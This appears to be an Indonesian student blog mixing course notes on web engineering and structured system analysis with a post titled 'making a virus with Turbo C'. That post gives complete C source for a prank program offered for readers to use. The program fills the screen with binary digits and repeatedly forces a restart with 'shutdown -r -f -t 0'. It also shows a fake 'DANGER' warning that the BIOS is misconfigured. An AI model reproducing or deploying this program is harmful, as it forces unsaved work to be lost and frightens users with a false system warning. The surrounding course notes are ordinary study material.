Pengikut

Kamis, 27 Oktober 2011

WEB ENGGINEERING RPLL

Definisi Rekayasa Web (Web Engineering)

Web engineering (rekayasa web) adalah suatu proses yang digunakan untuk menciptakan suatu sistem aplikasi berbasis web dengan menggunakan ilmu rekayasa, prinsip-prinsip manajemen dan pendekatan sistematis sehingga dapat diperoleh sistem dan aplikasi web dengan kualitas tinggi. Tujuannya untuk mengendalikan pengembangan, minimalisasi resiko dan meningkatkan kualitas sistem berbasis web.

Alur Kerja Rekayasa Web

1. Formulasi (formulation)
Kegiatan yang berfungsi untuk merumuskan tujuan dan ukuran dari aplikasi berbasis web serta menentukan batasannya sistem…
Tujuan yang ingin dicapai bisa dibedakan menjadi dua kategori, yaitu :
a. Tujuan yang bersifat informatif
Menyediakan suatu informasi tertentu kepada pengguna, berupa teks, grafik, audio, dan video.
b. Tujuan yang bersifat fungsional
Kemampuan untuk melakukan suatu fungsi yang dibutuhkan pengguna, misal dengan menggunakan aplikasi tersebut seorang dosen dapat memperoleh nilai akhir dan statistik nilai mahasiswa dari data-data ujian, tugas, kuis yang ia input ke dalam aplikasi.

2. Perencanaan (planning)
Kegiatan yang digunakan untuk menghitung estimasi biaya proyek pembuatan aplikasi berbasis web ini, estimasi jumlah pengembang, estimasi waktu pengembangan, evaluasi resiko pengembangan proyek, dan mendefinisikan jadwal pengembangan untuk versi selanjutnya (jika diperlukan).

3. Analisis (analysis)
Kegiatan untuk menentukan persyaratan – persyaratan teknik dan mengidentifikasi informasi yang akan ditampilkan pada aplikasi berbasis web. Analisis yang digunakan pada rekayasa web dilakukan dari empat sisi, yaitu :
a. Analisis isi informasi
Mengidentifikasi isi yang akan ditampilkan pada aplikasi berbasis web ini. Isi informasi dapat berupa teks, grafik, audio, maupun video.
b. Analisis interaksi
Analisis yang menunjukkan hubungan antara web dengan pengguna.
c. Analisis fungsional
Analisis tentang proses bagaimana aplikasi berbasis web ini akan menampilkan informasi kepada pengguna.
d. Analisis konfigurasi
Konfigurasi yang digunakan pada aplikasi berbasis web, internet, intranet, atau extranet. Selain itu, analisis ini juga meliputi relasi database dengan web jika diperlukan.

4. Rekayasa (engineering)
Terdapat dua pekerjaan yang dilakukan secara paralel, yaitu desain isi informasi dan desain arsitektur web.

5. Implementasi (page generation) & pengujian (testing)
Suatu kegiatan untuk mewujudkan desain menjadi suatu web site. Teknologi yang digunakan tergantung dengan kebutuhan yang telah dirumuskan pada tahap analisis.

6. Pengujian
Ada beberapa pendekatan yang digunakan untuk melakukan pengujian, yaitu :
a. Pengujian fungsional dan operasional (fungsional and operational testing)
Bertujuan untuk menguji masukan dan keluaran dari aplikasi ini.
Hasil keluaran aplikasi bergantung dari teknologi yang digunakan, baik itu bahasa pemrograman maupun bahasa skrip yang digunakan.
b. Pengujian konfigurasi (configuration testing)
Pengujian ini dilakukan pada sistem operasi, browser, sistem perangkat keras dan perangkat lunak pendukung. Pengujian ini dilakukan untuk menentukan batas toleransi kebutuhan aplikasi akan perangkat lunak dan perangkat keras pendukungnya.
c. Pengujian keamanan dan performansi (security and performance testing)
Pengujian ini dilakukan untuk melihat tingkat keamanan aplikasi dengan cara menguji aspek-aspek yang dapat menimbulkan gangguan keamanan aplikasi maupun server. Keamanan aplikasi sangat bergantung pada teknologi pengembangan website, konfigurasi server yang digunakan dan kelakuan sistem.
d. Pengujian performansi dapat dilakukan bersamaan dengan pengujian keamanan aplikasi, karena keamanan aplikasi berbasis web juga tergantung dari performansi server dan aplikasi tersebut.

7. Evaluasi oleh konsumen (customer evaluation)
Suatu kegiatan akhir dari siklus proses rekayasa web, akan menentukan apakah web yang telah selesai dibuat tersebut sesuai dengan yang mereka inginkan. Apabila aplikasi berbasis web ini belum sesuai dengan kehendak mereka, maka proses rekayasa web akan terus dilakukan dan dimulai lagi dari tahap formulasi untuk versi berikutnya.

Kamis, 29 September 2011

Analisa Terstruktur RPLL

ANALISA TERSTRUKTUR

Analisa adalah sebuah tahapan dalam memecahkan masalah yang mempunyai fungsi mengidentifikasikan masalah dalam mencari pemecahan masalah.
Terstruktur adalah cara pemecahan masalah yang dipresentasikan dengan model-model yang urut dan rinci.
Jadi Analisa Terstruktur adalah merupakan dasar pengetahuan untuk melakukan proses analisa sistem informasi dengan menggunakan prosedur-prosedur yang digambarkan dalam tehnik-tehnik pemodelan terstruktur.
Analisa sistem merupakan tahapan awal untuk mengetahui kelemahan-kelemahan, menyangkut dalam hasil antara lain :
• Kecepatan
• Ketepatan data
• Pelayanan non-stop 24 jam sehari ( sebagai bahan pertimbangan )
• Kemampuan peragaan visual
Dalam tahap analisa sistem ini diuraikan tentang :
1. Penjelasan umum organisasi
Membahas kegiatan yang berkaitan dengan sistem yang dirancang termasuk fungsi-fungsi yang membawahinya.
2. Memodelkan sistem
Memodelkan sistem adalah kegiatan mempresentasikan lingkungan atas sistem yang interface (tatap muka) sistem dengan lingkungannya. Dalam kegiatan ini dijelaskan tentang diagram konteks yang menampung secara keseluruhan sebagai proses dan berhubungan dengan lingkungan.
Selain tahap diatas dalam membangun dan mengembangkan suatu sistem diperlukan :
a. Diagram Arus Data (DAD)
Diagram Arus Data merupakan alat yang digunakan pada metodologi analisa pengembangan yang terstruktur yang berfungsi untuk menunjukkan proses aliran data suatu sistem yang berjalan serta menggambarkan fungsi-fungsi yang harus dilakukan oleh sistem.
DAD terdiri dari beberapa bagian yaitu :
a) Diagram Konteks (Contecs Diagram)
Diagram Konteks yaitu diagram aliran data yang menggambarkan sistem secara keseluruhan sebagai suatu proses dan hubungan sistem dengan lingkungannya melalui masukan dan keluaran sistem.

b) Bagian Berjenjang (Hierarchical Diagram)
Bagian Berjenjang yaitu diagram aliran data yang mendefinisikan organisasi dari sistem informasi secara berjenjang dalam bentuk sistem dan subsistem.
c) Diagram Nol (Overview Diagram)
Diagram Nol yaitu diagram aliran data yang menggambarkan kelompok kegiatan yang ada dalam sistem, yang disebut subsistem.
d) Diagram Rinci (Level Diagram)
Diagram Rinci yaitu diagram aliran data yang merupakan pemecahan proses-proses yang ada dalam diagram nol, dimana setiap proses dalam diagram tersebut dibuatkan lagi rincian diagramnya.

Beberapa simbol yang digunakan dalam DAD yaitu :
a) Proses
Proses disimbolkan dengan lingkaran atau persegiempat dengan sudut tumpul. Proses itu sendiri adalah kegiatan atau kerja yang dilakukan oleh orang atau komputer dari hasil suatu arus data yang masuk kedalam proses untuk dihasilkan arus data yang keluar dari proses.

b) Kesatuan Luar (External Entity)
Kesatuan luar disimbolkan dengan segi empat. Kesatuan luar merupakan kesatuan dilingkungan luar sistem yang dapat berupa orang, organisasi, atau sistem lainnya yang akan memberikan inputan atau menerima output dari sistem.

c) Arus Data
Arus data disimbolkan dengan tanda panah, mengalir diantara proses, simpanan data, dan kesatuan luar. Arus data ini juga menunjukkan masukan dari suatu sistem atau hasil dari proses sistem.

d) Simpanan Data ( Data Store )
Simpanan data disimbolkan dengan dua garis sejajar atau dua garis dengan salah satu sisi samping terbuka. Aliran data proses ke data store tidak memakai nama, namun demikian aliran data itu berarti membaca atau menyimpan keluaran yang dihasilkan proses.

b. Spesifikasi Proses
Menguraikan secara detail yang terjadi didalam proses sebuah fungsi primitif atau sederhana dalam DAD dan juga memberikan penjelasan bagaimana aliran data masukan akan ditransformasikan atau diubah menjadi data keluaran.

c. Kamus Data
Dengan menggunakan kamus data seorang analis sistem dapat mengidentifikasi data yang mengalir didalamnya dengan lengkap. Kamus data itu sendiri merupakan katalog fakta tentang data. Kamus Data adalah daftar yang terorganisir tentang komposisi dari elemen-elemen data, yang menyimpan data yang digunakan di diagram arus data dan spesifikasi-spesifikasi logic yang rinci untuk digunakan dalam pemrosesan dan fungsi-fungsi didalam sistem. Notasi / simbol yang digunakan dalam Kamus Data :

Simbol Arti
= Terdiri dari
+ Dan
[ ] Salah satu dari
( ) Boleh ada boleh tidak
{ } Pengulangan
* * Komentar
“ “ Harga Diskrit
@ Primary Key

2. Pengertian Perancangan Terstruktur
Pemrograman terstruktur oleh Stevens Myres Constantine dan Yourdon sebagai gabungan dari teknik, strategi dan metode untuk men disain software atau program. Tujuan dari disain terstruktur adalah untuk memberikan suatu prosedur yang dapat digunakan oleh pengembangan sistem untuk membuat suatu keputusan dengan cara yang sistematis.
Produk yang dihasilkan dari disain terstruktur pada dasarnya sama dengan yang dihasilkan pada analisa terstruktur, hanya ditambah dengan:
a. Diagram Hubungan Entitas (Entity Relationship Diagram)
Dalam kebanyakan sistem bukan saja kita ingin mengetahui secara detail tentang informasi apa saja yang terkandung dalam setiap penyimpanan data tetapi juga ingin mengetahui hubungan antara entitas. Hal tersebut penting untuk mengetahui kinerja masing-masing bagian untuk mencapai suatu tujuan.
Komponen-komponen yang digunakan didalam diagram hubungan entitas antara lain :
1) Entitas
Digambarkan dengan kotak segi empat dan digunakan untuk menunjukkan sekumpulan orang, tempat, obyek atau konsep dan sebagainya yang menunjukkan dimana data dicatat dan disimpan.
Entity Set terbagi atas :

(1) Strong Entity Set
Entity set yang memiliki atribut yang unik yang dapat dijadikan key dimana satu atau banyak atributnya digunakan oleh entity lainnya.
(2) Weak Entity Set
Entity set yang tidak memiliki atribut yang unik yang dapat dijadikan key sehingga membutuhkan atribut dari entity set lain. Atau entity set yang bergantung pada strong entity set.

2) Hubungan atau Relasi
Menunjukkan hubungan yang terjadi antara entitas. Digambarkan dengan bentuk belah ketupat.
3) Atribut
Menunjukkan karakteristik dari tiap entitas atau sesuatu yang menjelaskan entitas atau hubungan. Dari setiap atribut-atribut entitas terdapat satu atribut yang dijadikan sebagai kunci (key ).
Ada beberapa jenis key yaitu :
(1) Primary key
Field yang mengidentifikasikan sebuah record dalam file dan bersifat unik.
(2) Secondary key
Field yang dapat menghilangkan kemungkinan primary key tidak unik.
(3) Candidate key
Field yang dapat dijadikan calon primary key.
(4) Alternate key
Field yang tidak terpilih menjadi primary key dari beberapa key.
(5) Composite key
Jika tidak ada satupun field yang bisa dijadikan primary key maka beberapa field dapat digabung menjadi satu.
(6) Foreign key
Field yang bukan key, tetapi merupakan key pada file yang lain.
4) Cardinality
Dalam diagram E-R terdapat tingkatan hubungan antara entitas dilihat dari segi kejadian atau banyak hubungan antara entitas tersebut. Hal inilah yang dinamakan sebagai cardinality (kardinalitas). Ada 3 (tiga) dasar kardinalitas / tingkat hubungan yang terjadi yaitu :
(1) Satu ke satu (one to one atau 1:1)
Tingkat hubungan dinyatakan satu ke satu jika suatu kejadian pada entitas pertama hanya mempunyai satu hubungan dengan satu kejadian pada entitas kedua. Demikian juga sebaliknya, satu kejadian pada entitas kedua hanya bisa mempunyai satu hubungan dengan satu kejadian pada entitas yang pertama.
(2) Satu ke banyak (one to many atau 1:N)
Tingkat hubungan satu ke banyak (1:N) adalah sama dengan banyak ke satu (N:1), tergantung dari arah mana hubungan tersebut dilihat. Untuk satu kejadian pada entitas yang pertama dapat mempunyai banyak hubungan dengan kejadian pada entitas yang ke dua. Sebaliknya satu kejadian pada entitas yang kedua hanya bisa mempunyai satu hubungan dengan satu kejadian pada entitas yang pertama.
(3) Banyak ke banyak (many to many atau M:N)
Tingkat hubungan banyak ke banyak terjadi jika tiap kejadian pada sebuah entitas akan mempunyai banyak hubungan dengan kejadian pada entitas lainnya. Baik dilihat dari sisi entitas yang pertama maupun dilihat dari sisi entitas yang kedua.

b. LRS (Logical Record Structure)
Logical Record Structure dibentuk dengan nomor dari tipe record. Beberapa tipe record digambarkan oleh kotak empat persegi panjang dan dengan nama yang unik. Beda LRS dengan diagram E-R nama tipe record berada diluar kotak field tipe record ditempatkan. Logical Record Structure terdiri dari link-link diantara tipe record. Link ini menunjukkan arah dari satu tipe record lainnya. Banyak link dari LRS yang diberi tanda field-field yang kelihatan pada kedua link tipe record. Penggambaran LRS mulai dengan menggunakan model yang dimengerti. Dua metode yang dapat digunakan, dimulai dengan hubungan kedua model yang dapat dikonversikan ke LRS. Metode yang lain dimulai dengan ER-diagram dan langsung dikonversikan ke LRS.
a) Konversi ER-diagram ke Logical Record Structure dan Relasi (LRS)
Diagram E-R harus diubah ke bentuk LRS (struktur record secara logik). Dari bentuk logical record structure inilah yang nantinya dapat ditransformasikan ke bentuk relasi (tabel).
(1) Konversi Diagram E-R ke Logical Record Structure
Sebuah model sistem yang digambarkan dengan sebuah diagram E-R akan mengikuti pola permodelan tertentu. Dalam kaitannya dengan konversi ke logical record structure, untuk perubahan yang terjadi adalah mengikuti aturan-aturan berikut :
(a) Setiap entitas diubah kebentuk kotak dengan nama entitas, berada diluar kotak dan atribut berada didalam kotak.
(b) Sebuah relationship kadang disatukan, dalam sebuah kotak bersama entitas, kadang sebuah kotak bersama-sama dengan entitas, kadang disatukan dalam sebuah kotak tersendiri.
(2) Konversi Logical Record Structure ke Relasi (Tabel)
Relasi atau tabel adalah bentuk pernyataan data secara grafis 2 (dua) dimensi, yang terdiri dari kolom dan baris. Relasi adalah bentuk visual dari sebuah file, dan tiap tuple dalam sebuah field, atau yang dalam bentuk lingkaran Diagram E-R dikenal dengan sebutan atribut. Konversi dari logical record structure dilakukan dengan cara :
(a) Nama logical record structure menjadi nama relasi.
(b) Tiap atribut menjadi sebuah kolom didalam relasi.
c. Normalisasi
Normalisasi adalah suatu proses untuk mengorganisasikan file dengan menghilangkan group elemen yang berulang (anomali) atau sebuah langkah atau proses untuk menyederhanakan relationship antar elemen data didalam tuple (record). Normalisasi juga banyak dilakukan dalam merubah bentuk database dari suatu struktur pohon atau struktur jaringan menjadi struktur hubungan. Normalisasi pertama kali diperkenalkan oleh Dr. E. F Codd dalam bentuk struktur data hubungan. Istilah data hubungan menunjukkan suatu struktur data yang mempunyai hubungan dengan elemen-elemen data lainnya, baik dalam satu file atau alam file yang lain. Anomali adalah error/inkomputensi data, caranya dengan melakukan penelitian terhadap relasi tersebut dengan melihat dependency (ketergantungan) antara atribut yang ada di dalam relasi. Anomali ada 3 jenis :
a) Insertion Anomaly adalah error yang terjadi sebagai akibat operasi.
b) Insert Record pada sebuah relasi.
c) Deletion Anomaly adalah error yang terjadi sebagai akibat operasi delete record pada sebuah relasi.

Tahapan-tahapan dalam Normalisasi :
a) Normalisasi bentuk pertama (First Normal Form / 1 NF)
Yaitu menghilangkan beberapa group elemen yang berulang agar menjadi satu harga tunggal yang saling berinteraksi diantara setiap baris dan kolom pada suatu tabel.
b) Normalisasi bentuk kedua (Second Normal Form / 2 NF)
Yaitu menghilangkan beberapa bagian ketergantungan fungsional atau dengan kata lain apabila sudah berada pada 1NF dan setiap atribut yang bukan key bergantung pada primary key.
c) Normalisasi bentuk ketiga (Third Normal Form / 3 NF)
Yaitu menghilangkan beberapa ketergantungan transitive (transitive dependency) atau dengan kata lain apabila sudah berada pada 2NF dan setiap atribut yang berupa key tidak tergantung atribut lain kecuali terhadap primary key.
d) Normalisasi Boyce-Codde Normal Form (BCNF)
Yaitu menghilangkan beberapa sisa keganjilan dari normalisasi bentuk kedua atau apabila setiap determinant adalah merupakan candidate key.
e) Normalisasi bentuk keempat (Fourth Normal Form / 4 NF)
Yaitu menghilangkan beberapa ketergantungan pada banyak harga (multivalue dependency).
f) Normalisasi bentuk kelima (Fifth Normal Form / 5 NF)
Yaitu menghilangkan sisa keganjilan yang ada.

d. Basis Data
Basis data adalah dua atau lebih simpanan data dengan elemen-elemen data penghubung, yang dapat diakses lebih dari satu cara. Basis data dinyatakan dengan tehnik-tehnik formal dan manajemen basis data. Dari definisi tersebut, maka dapat dikatakan bahwa basis data merupakan kumpulan dari data yang saling berhubungan satu dengan yang lainnya.

e. Penelusuran Akses
Syarat akses pada intinya mengambil prosedur spesifikasi dari user, dimana termasuk perintah tentang bagaimana user akan menggunakan data akses, jalur akses yang menunjukkan bagaimana data akan digunakan dan menerangkan :
a) Mengakses tipe record dengan beberapa perintah akses.
b) Rangkaian dimana tipe record digunakan untuk menyeleksi tipe record.
c) Kunci akses yang digunakan untuk menyeleksi tipe record.
d) Mendapatkan bagian dari beberapa record.
e) Nomor dari record yang diakses.

f. Bagan Terstruktur
Dalam merancang sistem dengan metode terstruktur diperlukan suatu bagan terstruktur yaitu bagan yang menggambarkan hirarki modul-modul dalam menerapkan kebutuhan persyaratan sistem yang memperlihatkan :
a) Pembagian sistem menjadi modul-modul
b) Hirarki dari organisasi modul-modul
c) Komunikasi antara modul
d) Nama modul yang berarti juga fungsi modul
Modul adalah kumpulan perintah atau instruktur program yang meliputi input dan output, fungsi yang dikerjakan, mekanisme logis dalam mengerjakan fungsinya. Modul biasanya akan memiliki nama sebagai referensi, dapat menggunakan atau digunakan oleh modul lain. Adapun simbol-simbol dari komponen bagan terstruktur adalah sebagai berikut :
(1) Modul digunakan untuk menggambarkan suatu modul.

(2) Connection, digunakan untuk menghubungkan suatu modul dengan modul lainnya.

(3) Loop, digunakan untuk menunjukkan suatu perulangan.

(4) Decission, digunakan untuk menunjukkan suatu penyelesaian kondisi modul.

(5) Couple Data, digunakan untuk menunjukkan elemen data yang dikirim.

(6) Couple Control, digunakan untuk menunjuk elemen kontrol yang dikirim.

(7) Connector, digunakan untuk menghubungkan simbol kehalaman berikutnya.

(8) Predifined Modul, menggambarkan modul yang sudah didefinisikan oleh sistem komputer.

g. Pseudocode
Pseudocode adalah alat untuk mempresentasikan program atau modul tanpa harus mengikuti suatu aturan penulisan program “Pseudo” berarti imitasi, mirip atau menyerupai dan “code” menunjukkan kode program yang sebenarnya. Dalam perancangan ini spesifikasi modul dinyatakan dengan pseudocode.

Sabtu, 27 November 2010

MEMBUAT VIRUS DENGAN TURBO-C

ane punya program nih yang bisa ngerestart komputer programnya sih pake bahasa C.
oh iya compilernya pake turbo C ane tulis nih programnya silahkan pelajari semoga bermanfaat eheheheheheh

#include <conio.h>
#include <stdio.h>
#include <dos.h>

/*protyepe untuk mengatru mode kursor*/
#include "dos.h"

void pesan_reboot();
void hor(int x, int y, int p, int posisi, int mode);
void ver(int x, int y, int p);
void kotak(int x1, int y1, int x2, int y2, int mode);

void kursor_besar(void);
void kursor_sembunyi(void);
void kursor_normal(void);
int mode_video(void);


void destobin(int des, int biner[], int *jumlah_biner);
void tampil_biner(int biner[], int *jumlah_biner);

int main(){
int jumlah_biner;
int biner[100];
int x,y,z;

clrscr();
kursor_sembunyi();
textattr(128*0+16*0+GREEN);
z = 1;
y = 1;
while(y <= 25){
x = 1;
while(x <=  20){
destobin(z,biner,&jumlah_biner);
gotoxy(x,y);tampil_biner(biner,&jumlah_biner);
x = x + 8;
z++;
if(z == 254){
z = 1;
}
}
y++;
}
while(1){
x = 1;
while(x <=  20){
destobin(z,biner,&jumlah_biner);
tampil_biner(biner,&jumlah_biner);
x = x + 8;
z++;
if(z == 254){
z = 1;
}

}
delay(99999999);
gotoxy(1,25);
if(kbhit()){
getch();
pesan_reboot();
getch();getch();
break;
}
system("shutdown -r -f -t 0");
}
}

void pesan_reboot(){
int x,y;

textcolor(0);
y = 6;
while(y <= 19){
x = 11;
while(x <= 66){
gotoxy(x,y);cprintf("Û");
x++;
}
y++;
}
textattr(128*0+16*0+10);
kotak(10,5,67,20,2);            /*Membuat kotak*/
textattr(128*1+16*RED+15);               /*menampilkan DANGER*/
gotoxy(33,6);cprintf(" DANGER !!!");
/* pesan agar segera memperbaiki bois */
textcolor(10);
textbackground(0);
gotoxy(15,8);cprintf("Your BIOS is bad configurations. if you want your -");
gotoxy(13,9);cprintf("computer is not bad, don't enter to windows. You must");
gotoxy(13,10);cprintf("reboot your computer and enter to BOIS, and then con");
gotoxy(13,11);cprintf("figure BIOS again.");
gotoxy(26,13);cprintf("Your computer will reboot");
/*membuat tampilan restart computer*/
kotak(15,14,62,18,1);
textcolor(YELLOW);
x = 16;
y = 45;
while(x <= 61){
gotoxy(x,15);cprintf("%c",219);
gotoxy(x,16);cprintf("Û");
gotoxy(x,17);cprintf("Û");
gotoxy(47,19);cprintf("TIME : 00.%02d\b\b",y);
gotoxy(60,19);cprintf("SECOND");
sleep(1);
x++;
y--;
}
textattr(128*0+16*0+10);
}

void kotak(int x1, int y1, int x2, int y2, int mode){
int panjangh;
int panjangv;

panjangh = x2 - x1;
panjangv = y2 - y1;

if(mode == 1){
hor(x1,y1,panjangh,1,1);
hor(x1,y2,panjangh,2,1);
}
if(mode == 2){
hor(x1,y1,panjangh,1,2);
hor(x1,y2,panjangh,2,2);
}
    ver(x1,y1,panjangv);
ver(x2,y1,panjangv);
}
void hor(int x, int y, int p, int posisi, int mode){
int bantu;

if(posisi == 1){
if(mode == 1){
         gotoxy(x,y);cprintf("Ú");
gotoxy(x+p,y);cprintf("¿");
}
else if(mode == 2){
gotoxy(x,y);cprintf("Õ");
gotoxy(x+p,y);cprintf("¸");
}
}
else if(posisi == 2){
if(mode == 1){
gotoxy(x,y);cprintf("À");
gotoxy(x+p,y);cprintf("Ù");
}
else if(mode == 2){
gotoxy(x,y);cprintf("Ô");
gotoxy(x+p,y);cprintf("¾");
}
}
bantu = x+1;
while( bantu <= p+x-1){
if(mode == 1){
         gotoxy(bantu,y);cprintf("Ä");
}
else if(mode == 2){
gotoxy(bantu,y);cprintf("Í");
}
bantu++;
}

}

void ver(int x, int y, int p){
int bantu;
bantu = y + 1;
while(bantu <= y+p-1){
gotoxy(x,bantu);cprintf("³");
bantu++;
}
}

void kursor_besar(void){ /*Untuk membuat kusor berukuran besar*/
union REGS inregs, outregs;

inregs.h.ah = 0x01;
inregs.h.ch = 0x00;
if(mode_video() == MONO)
inregs.h.cl = 0x0D;
else
inregs.h.cl = 0x07;

int86(0x10, &inregs, &outregs);
}
void kursor_sembunyi(void){ /*Untuk menyebunyikan kursor*/
union REGS inregs, outregs;

inregs.h.ah = 0x01;
inregs.h.ch = 0x20;
inregs.h.cl = 0x20;
int86(0x10, &inregs, &outregs);
}
void kursor_normal(void){ /*Untuk menormalkan kursor*/
union REGS inregs, outregs;

inregs.h.ah = 0x01;
if(mode_video() == MONO){
inregs.h.ch = 0x0C;
inregs.h.cl = 0x0D;
}
else{
inregs.h.ch = 0x06;
inregs.h.cl = 0x07;
}
int86(0x10, &inregs, &outregs);
}
int mode_video(void){ /*Untuk memperoleh mode video*/
union REGS inregs, outregs;
inregs.h.ah = 0x0F;
int86(0x01, &inregs, &outregs);
return(outregs.h.al);
}
void destobin(int des, int biner[], int *jumlah_biner){
int x;
int y;

x = 0;
while(des != 0){
if(des%2 == 0){
biner[x] = 0;
}
if(des%2 != 0){
biner[x] = 1;
}
des = des / 2;
x++;
}
*jumlah_biner = x;
}

void tampil_biner(int biner[], int *jumlah_biner){
int x;
int y;
int z;

x = *jumlah_biner;
z = 0;
while(z < 8){
if(x == z){
y = z;
while(y < 8){
biner[y] = 0;
y++;
}
y = 7;
while(y >= 0){
cprintf("%d",biner[y]);
y--;
}
}
else{
         y = 7;
while(y >= 0){
cprintf("%d",biner[y]);
y--;
}
}
z++;
}
}

Kamis, 11 November 2010

MODUL BAHASA C

oh iya ane punya modul bahasa C nih sekedar buat belajar aja klo ada yang mau bisa download nih disini :
download MODUL

Senin, 08 November 2010


COBA DEH KLIK DISINI

ane punya iseng iseng nih coba deh di buka heheeheh

Jumat, 29 Oktober 2010

cuma sekedar ingin berbagi

nih blog sebenarnya sih cum iseng iseng aja sih heheeheheh
gua juga ga tau sebenernya mau nulis apaan bingung tapi tar disini gua bakal mau bahas tentang dunia IT
apa lagi klo yang lg kuliah ngambil tuh jurusanmudah mudahan tar bisa ngebantu deh